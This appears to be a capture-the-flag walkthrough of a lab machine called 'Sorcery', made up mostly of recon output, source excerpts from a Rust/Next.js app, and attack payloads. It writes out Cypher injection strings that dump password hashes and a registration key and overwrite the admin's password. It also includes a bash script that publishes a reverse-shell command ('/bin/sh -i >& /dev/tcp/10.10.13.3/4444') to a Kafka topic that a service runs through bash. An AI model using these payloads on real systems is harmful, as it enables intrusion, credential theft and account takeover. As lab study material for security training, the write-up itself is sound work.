$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn

PORT    STATE SERVICE  REASON  VERSION
22/tcp  open  ssh      syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 79:93:55:91:2d:1e:7d:ff:f5:da:d9:8e:68:cb:10:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBfa7NkcG06jauyQoChLbmUKvvd6pkaufyqxTH7Lc0LeTfUmDv2PZsCeNM0mm6JytOdhIhsLONllRYME0Fizhjw=
|   256 97:b6:72:9c:39:a9:6c:dc:01:ab:3e:aa:ff:cc:13:4a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPzwgWWL8qvTI4EzWXUX7/aGWcm8W4pTGnFiqfVbeOeh
443/tcp open  ssl/http syn-ack nginx 1.27.1
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://sorcery.htb/
|_http-server-header: nginx/1.27.1
| ssl-cert: Subject: commonName=sorcery.htb
| Issuer: commonName=Sorcery Root CA
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-31T02:09:11
| Not valid after:  2052-03-18T02:09:11
| MD5:   c294:7d7a:2965:5c32:3dc9:b850:e2e5:0d9a
| SHA-1: 9d44:6d3d:5fb6:252c:da8b:3dd1:b5a2:aeb3:1e4b:5534
| -----BEGIN CERTIFICATE-----
| MIIEuTCCAqECFFDAAPGK7ud2DPpuM8BMaxLfK0U+MA0GCSqGSIb3DQEBCwUAMBox
| ...
| 4PPnLBiUeFv9xmOPvw==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   http/1.1
|   http/1.0
|_  http/0.9
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

$ whatweb https://sorcery.htb

https://sorcery.htb [307 Temporary Redirect] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.27.1], IP[10.129.113.32], RedirectLocation[/auth/login], Script, Title[Sorcery], UncommonHeaders[link], X-Powered-By[Next.js], nginx[1.27.1]
https://sorcery.htb/auth/login [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.27.1], IP[10.129.254.122], PasswordField[password], Script, Title[Sorcery], UncommonHeaders[x-nextjs-cache], X-Powered-By[Next.js], nginx[1.27.1]

GIT_SSL_NO_VERIFY=1 \
git clone https://git.sorcery.htb/nicole_sullivan/infrastructure.git

infrastructure
├── backend
│   ├── Cargo.lock
│   ├── Cargo.toml
│   ├── Dockerfile
│   ├── Rocket.toml
│   └── src
│       ├── api
│       │   ├── auth
│       │   │   ├── login.rs
│       │   │   └── register.rs
│       │   ├── auth.rs
│       │   ├── blog
│       │   │   └── get.rs
│       │   ├── blog.rs
│       │   ├── debug
│       │   │   └── debug.rs
│       │   ├── debug.rs
│       │   ├── dns
│       │   │   ├── get.rs
│       │   │   └── update.rs
│       │   ├── dns.rs
│       │   ├── products
│       │   │   ├── get_all.rs
│       │   │   ├── get_one.rs
│       │   │   └── insert.rs
│       │   ├── products.rs
│       │   ├── webauthn
│       │   │   ├── passkey
│       │   │   │   ├── finish_authentication.rs
│       │   │   │   ├── finish_registration.rs
│       │   │   │   ├── get.rs
│       │   │   │   ├── start_authentication.rs
│       │   │   │   └── start_registration.rs
│       │   │   └── passkey.rs
│       │   └── webauthn.rs
│       ├── api.rs
│       ├── db
│       │   ├── connection.rs
│       │   ├── initial_data.rs
│       │   ├── models
│       │   │   ├── post.rs
│       │   │   ├── product.rs
│       │   │   └── user.rs
│       │   └── models.rs
│       ├── db.rs
│       ├── error
│       │   └── error.rs
│       ├── error.rs
│       ├── main.rs
│       ├── state
│       │   ├── browser.rs
│       │   ├── dns.rs
│       │   ├── kafka.rs
│       │   ├── passkey.rs
│       │   ├── privileges.rs
│       │   └── webauthn.rs
│       └── state.rs
├── backend-macros
│   ├── Cargo.lock
│   ├── Cargo.toml
│   └── src
│       └── lib.rs
├── dns
│   ├── Cargo.lock
│   ├── Cargo.toml
│   ├── convert.sh
│   ├── docker-entrypoint.sh
│   ├── Dockerfile
│   ├── src
│   │   └── main.rs
│   └── supervisord.conf
├── docker-compose.yml
└── frontend
    ├── components.json
    ├── Dockerfile
    ├── next.config.mjs
    ├── package.json
    ├── package-lock.json
    ├── postcss.config.mjs
    ├── public
    │   ├── next.svg
    │   └── vercel.svg
    ├── src
    │   ├── api
    │   │   ├── client.ts
    │   │   └── error.ts
    │   ├── app
    │   │   ├── auth
    │   │   │   ├── layout.tsx
    │   │   │   ├── login
    │   │   │   │   ├── actions.tsx
    │   │   │   │   └── page.tsx
    │   │   │   ├── logout
    │   │   │   │   └── route.tsx
    │   │   │   ├── passkey
    │   │   │   │   └── page.tsx
    │   │   │   ├── register
    │   │   │   │   ├── actions.tsx
    │   │   │   │   └── page.tsx
    │   │   │   └── tabs.tsx
    │   │   ├── dashboard
    │   │   │   ├── blog
    │   │   │   │   └── page.tsx
    │   │   │   ├── debug
    │   │   │   │   ├── actions.tsx
    │   │   │   │   ├── page-client.tsx
    │   │   │   │   └── page.tsx
    │   │   │   ├── dns
    │   │   │   │   ├── actions.tsx
    │   │   │   │   ├── page-client.tsx
    │   │   │   │   └── page.tsx
    │   │   │   ├── layout.tsx
    │   │   │   ├── new-product
    │   │   │   │   ├── actions.tsx
    │   │   │   │   ├── page-client.tsx
    │   │   │   │   └── page.tsx
    │   │   │   ├── page.tsx
    │   │   │   ├── profile
    │   │   │   │   ├── actions.tsx
    │   │   │   │   ├── page.tsx
    │   │   │   │   └── passkey.tsx
    │   │   │   ├── store
    │   │   │   │   ├── all-tabs.tsx
    │   │   │   │   ├── breadcrumbs.tsx
    │   │   │   │   ├── page.tsx
    │   │   │   │   └── [product]
    │   │   │   │       ├── not-found.tsx
    │   │   │   │       └── page.tsx
    │   │   │   ├── tabs-inner.tsx
    │   │   │   └── tabs.tsx
    │   │   ├── favicon.ico
    │   │   ├── globals.css
    │   │   ├── layout.tsx
    │   │   ├── page.tsx
    │   │   └── providers.tsx
    │   ├── components
    │   │   ├── misc
    │   │   │   └── theme-provider.tsx
    │   │   └── ui
    │   │       ├── alert.tsx
    │   │       ├── breadcrumb.tsx
    │   │       ├── button.tsx
    │   │       ├── card.tsx
    │   │       ├── checkbox.tsx
    │   │       ├── form.tsx
    │   │       ├── input.tsx
    │   │       ├── label.tsx
    │   │       ├── table.tsx
    │   │       ├── tabs.tsx
    │   │       ├── toaster.tsx
    │   │       ├── toast.tsx
    │   │       └── use-toast.ts
    │   ├── entity
    │   │   ├── dns-entry.ts
    │   │   ├── post.ts
    │   │   ├── product.ts
    │   │   ├── user-server.ts
    │   │   └── user.ts
    │   ├── hooks
    │   │   └── useAuth.tsx
    │   ├── lib
    │   │   └── utils.ts
    │   └── protect
    │       └── protect.tsx
    ├── tailwind.config.ts
    └── tsconfig.json

44 directories, 123 files

RUN apt-get install -y chromium

async fn launch() -> _ {
    let graph = GRAPH.get().await;
    migrate(graph).await;
  	...  
};

{
    let admin = User::get_by_username("admin".to_string()).await.unwrap();
    PRIVILEGES
        .lock()
        .unwrap()
        .privileges
        .insert(admin.id, UserPrivilegeLevel::Admin);
}

let max_semaphore_permits = std::env::var("MAX_SEMAPHORE_PERMITS")
    .map(|item| item.parse::<usize>().unwrap())
    .unwrap_or(5);

	...

rocket::build()
    .manage(BrowserStore {
    semaphore: Arc::new(Semaphore::new(max_semaphore_permits)),
})

rocket::build()
    ...
    .manage(PasskeyStore {
        ..Default::default()
    })
    .manage({
        let rp_id = "sorcery.htb";
        let rp_origin = Url::parse("https://sorcery.htb").unwrap();
        let builder = WebauthnBuilder::new(rp_id, &rp_origin).expect("Webauthn builder");
        WebauthnStore {
            instance: Arc::new(Mutex::new(builder.build().expect("Webauthn build"))),
        }

let mut consumer = Consumer::from_hosts(vec![broker.clone()])
    .with_topic(topic)
    .with_group(group)
    .with_fallback_offset(FetchOffset::Earliest)
    .with_offset_storage(Some(GroupOffsetStorage::Kafka))
    .create()
    .unwrap_or_else(|_| panic!("Kafka consumer: {broker}"));

thread::spawn(move || loop {
    let Ok(message_sets) = consumer.poll() else {
        continue;
    };

    for message_set in message_sets.iter() {
        for message in message_set.messages() {
            let Ok(entries) = serde_json::from_slice::<Vec<DnsEntry>>(message.value) else {
                continue;
            };

            DNS.lock().unwrap().entries = entries;
        }
        consumer.consume_messageset(message_set).ok();

.mount(
    "/api/auth",
    routes![api::auth::register::register,	// User account creation
        	api::auth::login::login],		// Issues JWT on password-based login
)
.mount(
    "/api/product",		// E-commerce–style endpoints
    routes![
        api::products::get_one::get_one,	// GET /api/product/<id> — Get one
        api::products::get_all::get_all,	// GET /api/product — List all
        api::products::insert::insert_product,	// POST /api/product — Create new
    ],
)
.mount(
    "/api/webauthn/passkey",	// Handles WebAuthn passkey-based login and registration
    routes![
        api::webauthn::passkey::start_registration::start_registration,
        api::webauthn::passkey::finish_registration::finish_registration,
        api::webauthn::passkey::get::get,
        api::webauthn::passkey::start_authentication::start_authentication,
        api::webauthn::passkey::finish_authentication::finish_authentication,
    ],
)
.mount(
    
    "/api/dns",	
    routes![api::dns::get::get_entries, 	// GET /api/dns — Shows current DNS entries
        	api::dns::update::update_dns,],	// POST /api/dns — Updates them (if auth allows)
)
.mount("/api/debug", routes![api::debug::debug::port_data])	// POST /api/debug/port: Specify host, port, and raw data to send
.mount("/api/blog", routes![api::blog::get::get_blog_posts])

export async function maybeGetUserOnServer(): Promise<User | null> {
    const jwt = cookies().get("token");
    if (jwt) {
      return User.fromJwt(jwt.value);
    }
    return null;
}

if Argon2::default()
    .verify_password(
        password.as_bytes(),
        &PasswordHash::new(&user.password).unwrap(),
    )

let claim = UserClaims {
    id: user.id,
    username: username.to_owned(),
    privilege_level: user.privilege_level,
    with_passkey: false,
    only_for_paths: None,
    exp: SystemTime::now()
        .add(Duration::from_secs(60 * 60 * 24))
        .duration_since(UNIX_EPOCH)
        .unwrap()
        .as_secs() as usize,
};

let token = encode(
    &Header::default(),
    &claim,
    &EncodingKey::from_secret(JWT_SECRET.as_bytes()),
)
.unwrap();

cookies.add(
    Cookie::build(("token", token.clone()))
        .path("/")
        .secure(false)
        .http_only(false),
);

Ok(Json(Response { token }))

const schema = z.object({
    username: z.string().min(1),
    password: z.string().min(1),
    registrationKey: z.string().optional(),
});

const response = await register(username, password, registrationKey);

export async function register(
    username: string,
    password: string,
    registrationKey?: string,
): Promise<APIResponse<null>> {
    const response = await API().post("auth/register", {
      json: {
        username,
        password,
        registrationKey,
      },
    });
    return convertResponse(response);
}

let hash = create_hash(&password)?;
let id = Uuid::new_v4().to_string();	

#[derive(Deserialize, Validate)]
pub struct Request {
    username: String,
    password: String,
    registration_key: Option<String>,
}

privilege_level: if registration_key.is_some()
    && &registration_key.unwrap() == REGISTRATION_KEY.get().await
{
    UserPrivilegeLevel::Seller
} else {
    UserPrivilegeLevel::Client
}

struct Request {
    #[validate(custom(function = "validate_username"))]
    username: Option<String>,
}

#[post("/register/start", format = "json", data = "<data>")]
pub async fn start_registration(
    guard: RequireAuthentication,
    data: Validated<Json<Request>>,
    passkey_store: &State<PasskeyStore>,
    webauthn_store: &State<WebauthnStore>,
)

let username = username.as_ref().unwrap_or(&guard.claims.username);

start_passkey_registration(Uuid::from_str(&user.id).unwrap(), username, username, None)

passkey_store.registrations.lock().unwrap().insert(user.id.clone(), state);

#[derive(Deserialize)]
struct Request {
    credential: RegisterPublicKeyCredential,	// A full WebAuthn credential response
}

#[post("/register/finish", format = "json", data = "<data>")]
pub fn finish_registration(
    guard: RequireAuthentication,
    passkey_store: &State<PasskeyStore>,
    webauthn_store: &State<WebauthnStore>,
    data: Json<Request>,
)

Ok(passkey) => {
    registrations.remove(&guard.claims.id);
    passkey_store
        .passkeys
        .lock()
        .unwrap()
        .insert(guard.claims.id, passkey);
    Ok(Json(Response {}))
}

struct Request {
    #[validate(custom(function = "validate_username"))]
    username: String,
}

#[post("/authenticate/start", format = "json", data = "<data>")]
pub async fn start_authentication(
    data: Validated<Json<Request>>,
    passkey_store: &State<PasskeyStore>,
    webauthn_store: &State<WebauthnStore>,
)

User::get_by_username(username.clone()).await

let passkeys = passkey_store.passkeys.lock().unwrap();
let Some(passkey) = passkeys.get(&user.id) else {
    return Err(AppError::NotFound);
};

.finish_passkey_registration(&data.credential, state)

start_passkey_authentication(&[passkey.clone()])

authentications.insert(user.id.clone(), state);

struct Request {
    credential: PublicKeyCredential,	// WebAuthn signed response
    #[validate(custom(function = "validate_username"))]
    username: String,
}

#[post("/authenticate/finish", format = "json", data = "<data>")]
pub async fn finish_authentication(
    passkey_store: &State<PasskeyStore>,
    webauthn_store: &State<WebauthnStore>,
    data: Validated<Json<Request>>,
    cookies: &CookieJar<'_>,
)

let mut authentications = passkey_store.authentications.lock().unwrap();

let Some(state) = authentications.get(&user.id) else {
    return Err(AppError::Unauthorized);
};

if let Err(error) = webauthn_store
    .instance
    .lock()
    .unwrap()
    .finish_passkey_authentication(&credential, state)
{
    println!("{error}");

    return Err(AppError::Unknown);
};

authentications.remove(&user.id);

let claim = UserClaims {
    id: user.id,
    username: user.username.to_owned(),
    privilege_level: user.privilege_level,
    with_passkey: true,
    only_for_paths: None,
    exp: SystemTime::now()
        .add(Duration::from_secs(60 * 60 * 24))
        .duration_since(UNIX_EPOCH)
        .unwrap()
        .as_secs() as usize,
};
let token = encode(
    &Header::default(),
    &claim,
    &EncodingKey::from_secret(jwt_secret),
)
.unwrap();

cookies.add(
    Cookie::build(("token", token.clone()))
        .path("/")
        .secure(false)
        .http_only(false),
);

Ok(Json(Response { token }))

pub async fn get_all(guard: RequireClient) 

Product::get_all()
    .await
    .into_iter()
    .filter(|product| product.should_show_for_user(&guard.claims))
    .collect()

pub async fn get_one(guard: RequireClient, id: &str)

let product = match Product::get_by_id(id.to_owned()).await {
    Some(product) => product,
    None => return Err(AppError::NotFound),
};
if !product.should_show_for_user(&guard.claims) {
    return Err(AppError::NotFound);
}

let get_functions = fields.iter().map(|&FieldWithAttributes { field, .. }| {
    let name = field.ident.as_ref().unwrap();	// e.g., "id", "username"
    let type_ = &field.ty;						// field type
    let name_string = name.to_string();			// in our case, "id"
    let function_name = syn::Ident::new(
        &format!("get_by_{}", name_string),		// creates Ident: get_by_id
        proc_macro2::Span::call_site(),
    );

    quote! {
        pub async fn #function_name(#name: #type_) -> Option<Self> {
            let graph = crate::db::connection::GRAPH.get().await;
            
            // [!] Vulnerable: Cypher Injection
            let query_string = format!(
                r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#,
                #struct_name, #name_string, #name
            );
            
            let row = match graph.execute(
                ::neo4rs::query(&query_string)
            ).await.unwrap().next().await {
                Ok(Some(row)) => row,
                _ => return None
            };
            Self::from_row(row).await
        }
    }
});

let query_string = format!(
    r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#,
    #struct_name, #name_string, #name
);

get_by_id("someid\"}) RETURN 1 AS injected //--")

MATCH (result: Product { id: "someid"}) RETURN 1 AS injected //--" }) RETURN result

#[post("/", data = "<data>")]
pub async fn insert_product(
    guard: RequireSeller,
    browser_store: &State<BrowserStore>,
    data: Json<Request>,
)

#[derive(Deserialize)]
struct Request {
    name: String,
    description: String,
}

let id = Uuid::new_v4().to_string();
let product = Product {
    id: id.to_string(),
    name: data.name.clone(),
    description: data.description.clone(),
    is_authorized: false,
    created_by_id: guard.claims.id,
};
product.save().await;

// Login as admin user
let user = User::get_by_username("admin".to_string()).await.unwrap();
let claim = UserClaims {
    id: user.id,
    username: user.username.to_owned(),
    privilege_level: user.privilege_level,
    with_passkey: true,
    only_for_paths: Some(vec![
        r"^\/api\/product\/[a-zA-Z0-9-]+$".to_string(),
        r"^\/api\/webauthn\/passkey\/register\/start$".to_string(),
        r"^\/api\/webauthn\/passkey\/register\/finish$".to_string(),
    ]),
    exp: SystemTime::now()
        .add(Duration::from_secs(60))
        .duration_since(UNIX_EPOCH)
        .unwrap()
        .as_secs() as usize,
};
let token = encode(
    &Header::default(),
    &claim,
    &EncodingKey::from_secret(JWT_SECRET.as_bytes()),
)
.unwrap();

// Lauches Chromium headless browser
tokio::task::spawn(async move {
    
    // URL = INTERNAL_FRONTEND/dashboard/store/<product_id>, loaded by admin bot.
    let url = format!("{}/dashboard/store/{}", &*INTERNAL_FRONTEND, product.id);
    
    ...
    
    let browser = Browser::new(launch_options).unwrap();
    let tab = browser.new_tab().unwrap();

    tab.set_cookies(vec![CookieParam {
        name: "token".to_string(),
        value: token,
        url: Some(INTERNAL_FRONTEND.clone()),
        domain: None,
        path: None,
        secure: None,
        http_only: Some(true),
        same_site: None,
        expires: None,
        priority: None,
        same_party: None,
        source_scheme: None,
        source_port: None,
        partition_key: None,
    }])
    .unwrap();

    tab.navigate_to(&url.clone()).unwrap();
    
};

#[derive(Model, Debug, Deserialize)]
pub struct User {
    pub id: String,
    pub username: String,
    pub password: String,
    #[transient(fetch = "fetch_privilege_level", save = "save_privilege_level")]
    pub privilege_level: UserPrivilegeLevel,
}

impl User {
    pub fn fetch_privilege_level(id: String) -> UserPrivilegeLevel {
        *PRIVILEGES
            .lock()
            .unwrap()
            .privileges
            .get(&id)
            .unwrap_or(&UserPrivilegeLevel::Client)
    }

#[derive(Clone, Copy, PartialOrd, PartialEq, Debug)]
pub enum UserPrivilegeLevel {
    Client = 0,
    Seller = 1,
    Admin = 2,
}

impl UserPrivilegeLevel {
    const fn from_level(level: usize) -> Option<Self> {
        match level {
            0 => Some(Self::Client),
            1 => Some(Self::Seller),
            2 => Some(Self::Admin),
            _ => None,
        }
    }
}

impl<'de> Deserialize<'de> for UserPrivilegeLevel {
    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error> {
        let level = usize::deserialize(deserializer)?;
        Ok(UserPrivilegeLevel::from_level(level).unwrap())
    }
}

#[derive(Model, Serialize, Deserialize)]
pub struct Product {
    pub id: String,
    pub name: String,
    pub description: String,
    pub is_authorized: bool,
    pub created_by_id: String,
}

pub fn should_show_for_user(&self, claims: &UserClaims) -> bool {
    self.is_authorized
        || claims.privilege_level == UserPrivilegeLevel::Admin
        || self.created_by_id == claims.id
}

pub fn get_entries(_guard1: RequireAdmin, _guard2: RequirePasskey)

pub fn update_dns(
    _guard1: RequireAdmin,
    _guard2: RequirePasskey,
    kafka_store: &State<KafkaStore>,
)

let mut producer = kafka_store.producer.lock().unwrap();

match producer.send(&Record {
    topic: "update",
    partition: -1,
    key: (),
    value: "/dns/convert.sh".as_bytes(),
}) {
    Ok(_) => Ok(Json(Response {})),
    Err(_) => Err(AppError::Unknown),
}

let mut process = match Command::new("bash").arg("-c").arg(command).spawn()

let Ok(command) = str::from_utf8(message.value)

Command::new("bash").arg("-c").arg(command).spawn()

let config = fs::read_to_string("/dns/entries")

let value = serde_json::to_string(&entries)

producer.send(&Record { topic: "get", ... })

bash -c 'touch /tmp/hacked'

async function _DebugPage() {
  return <DebugClientPage />;
}

export default async function DebugPage<T>(props: T) {
  const Component = await requireAuth(_DebugPage, 2).then(requirePasskey);

  return <Component {...props} />;
}

host: z.string().min(1),
port: z.coerce.number().min(0).max(65535),
data: [{ value: string }]

TcpStream::connect(format!("{}:{}", data.host, data.port))

hex::decode(request)

stream.read_to_end(&mut result)

hex::encode(&result)

const response = await API().get(`product/${params.product}`);

MATCH (result: Product { id: "some-id" }) RETURN result

let query_string = format!(
    r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#,
    #struct_name, #name_string, #name
);

Product::get_by_id(id.to_owned()).await

MATCH (result: Product { id: "user_input" }) RETURN result

{ id: "user_input" }

" }) RETURN result//

MATCH (result: Product { id: "<id>" }) RETURN result// " }) RETURN result

MATCH (result: ...) ... RETURN result

"}) OPTIONAL MATCH (u:User) RETURN result { .*, description: u.username }//

MATCH (result: Product { id: "8f056c44-df4a-4b15-b2c5-466536bed3cd" }) 
OPTIONAL MATCH (u:User) 
RETURN result { .*, description: u.username }
// " }) RETURN result

$ grep -rn 'registration_key' infrastructure

infrastructure/backend/src/db/connection.rs:27:        configs.remove(0).registration_key
infrastructure/backend/src/db/connection.rs:34:    registration_key: String,
infrastructure/backend/src/db/connection.rs:44:            registration_key: Uuid::new_v4().to_string(),
infrastructure/backend/src/api/auth/register.rs:17:    registration_key: Option<String>,
infrastructure/backend/src/api/auth/register.rs:30:        registration_key,
infrastructure/backend/src/api/auth/register.rs:41:        privilege_level: if registration_key.is_some()
infrastructure/backend/src/api/auth/register.rs:42:            && &registration_key.unwrap() == REGISTRATION_KEY.get().await

#[derive(Deserialize, Model)]
struct Config {
    is_initialized: bool,
    registration_key: String,
}

"}) OPTIONAL MATCH (c:Config) RETURN result { .*, description: c.registration_key }//

dd05d743-b560-45dc-9a09-43ab18c7a513

"}) OPTIONAL MATCH (u:User) RETURN result { .*, description: u.password }//

$argon2id$v=19$m=19456,t=2,p=1$T+K9waOashQqEOcDljfe5Q$X5Yul0HakDZrbkEDxnfn2KYJv/BdaFsXn7xNwS1ab8E

$argon2id$v=VERSION$m=MEMORY,t=ITERATIONS,p=PARALLELISM$BASE64_SALT$BASE64_HASH

$argon2i$v=19$m=19456,t=2,p=1$WmFnWGxlYkJ5cEVIT21USA$FJbW2hb66gDJzSEiqLR9iJXj4AxdShErsvhL+/zjJ5s

"}) MATCH (u:User {username: "admin"}) SET u.password= "$argon2i$v=19$m=19456,t=2,p=1$WmFnWGxlYkJ5cEVIT21USA$FJbW2hb66gDJzSEiqLR9iJXj4AxdShErsvhL+/zjJ5s" RETURN result { .*, description: "Admin password hijacked" } AS result //

kafka:
restart: always
build: kafka
environment:
  CLUSTER_ID: pXWI6g0JROm4f-1iZ_YH0Q
  KAFKA_NODE_ID: 1
  KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: CONTROLLER:PLAINTEXT,PLAINTEXT:PLAINTEXT
  KAFKA_LISTENERS: PLAINTEXT://kafka:9092,CONTROLLER://kafka:9093
  KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092
  KAFKA_PROCESS_ROLES: broker,controller
  KAFKA_CONTROLLER_QUORUM_VOTERS: 1@kafka:9093
  KAFKA_CONTROLLER_LISTENER_NAMES: CONTROLLER
healthcheck:
  test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/kafka/9092"]
  interval: 5s
  timeout: 10s
  retries: 5

dns:
restart: always
build: dns
environment:
  WAIT_HOSTS: kafka:9092
  KAFKA_BROKER: ${KAFKA_BROKER}

topic: "update",
value: "/dns/convert.sh".as_bytes()

let Ok(command) = str::from_utf8(message.value) else {
    continue;
};

Command::new("bash").arg("-c").arg(command).spawn()

let Ok(entries) = serde_json::from_slice::<Vec<DnsEntry>>(message.value) else {
    continue;
};

topic: "update"
value: b"bash -c '<arbitrary_command>'"

{"entries":[{"name":"git.sorcery.htb","value":"127.0.0.1"}, ...]}

+---------------------+           Kafka Broker           +---------------------+
|   Attacker Control  |--------------------------------->|  Topic: "update"    |
| (via SSRF or API)   |     (Send: "bash -c ...")        |  Receives message   |
+---------------------+                                  +---------------------+
                                                              |
                                                              v
                                            +-----------------------------+
                                            |        DNS Service          |
                                            | (main.rs, loop on messages) |
                                            +-----------------------------+
                                             |                       
                                             | if valid JSON:
                                             |   parse as Vec<DnsEntry>  
                                             | else:
                                             |   treat as raw string     
                                             v
                                  +------------------------------+
                                  |  bash -c "COMMAND_HERE"      |
                                  |  (Direct shell execution)    |
                                  +------------------------------+
                                             |
                                             v
                                 +----------------------------+
                                 |  /dns/entries updated      |
                                 |  or arbitrary command run  |
                                 +----------------------------+
                                             |
                                             v
                                  +---------------------------+
                                  |   Kafka Topic: "get"      |
                                  | (Contains DNS entries)    |
                                  +---------------------------+
                                             | 
                                             v
                            +-------------------------------------+
                            |  Web App API (e.g. GET /api/dns)    |
                            |  Reads from "get" topic and returns |
                            +-------------------------------------+

sudo tcpdump -i br-854d707442d8 port 9092 -w kafka-msg.pcap

#!/bin/bash

# Step 1: Create network if not exists
sudo docker network inspect kafka-net >/dev/null 2>&1 || docker network create kafka-net

# Step 2: Start Kafka container (with internal Zookeeper)
sudo docker run -d --rm --name zookeeper \
  --network kafka-net \
  -e ZOOKEEPER_CLIENT_PORT=2181 \
  confluentinc/cp-zookeeper:7.5.0

sleep 5

sudo docker run -d --rm --name kafka \
  --network kafka-net \
  -e KAFKA_BROKER_ID=1 \
  -e KAFKA_ZOOKEEPER_CONNECT=zookeeper:2181 \
  -e KAFKA_LISTENERS=PLAINTEXT://0.0.0.0:9092 \
  -e KAFKA_ADVERTISED_LISTENERS=PLAINTEXT://kafka:9092 \
  -e KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR=1 \
  confluentinc/cp-kafka:7.5.0

echo "[*] Waiting for Kafka to become ready..."
sleep 10

# Step 3: Publish a message to the 'update' topic
# [!] Replace this with actual payload, e.g., RCE string
PAYLOAD="bash -c \"/bin/sh -i >& /dev/tcp/10.10.13.3/4444 0>&1\""

echo "[*] Sending payload: $PAYLOAD"

echo "$PAYLOAD" | sudo docker run -i --rm --name kafkacat \
  --network kafka-net \
  edenhill/kafkacat:1.6.0 \
  -b kafka:9092 -t update -P

echo "[+] Done."

$rdkafka
librdkafka1.5.0rdkafkaupdaterdkafkaupdaterdkafkaupdateymGiwTwTvjbash -c '/bin/sh -i >& /dev/tcp/10.10.13.3/4444 0>&1'

xxd -p payload.bin | tr -d '\n'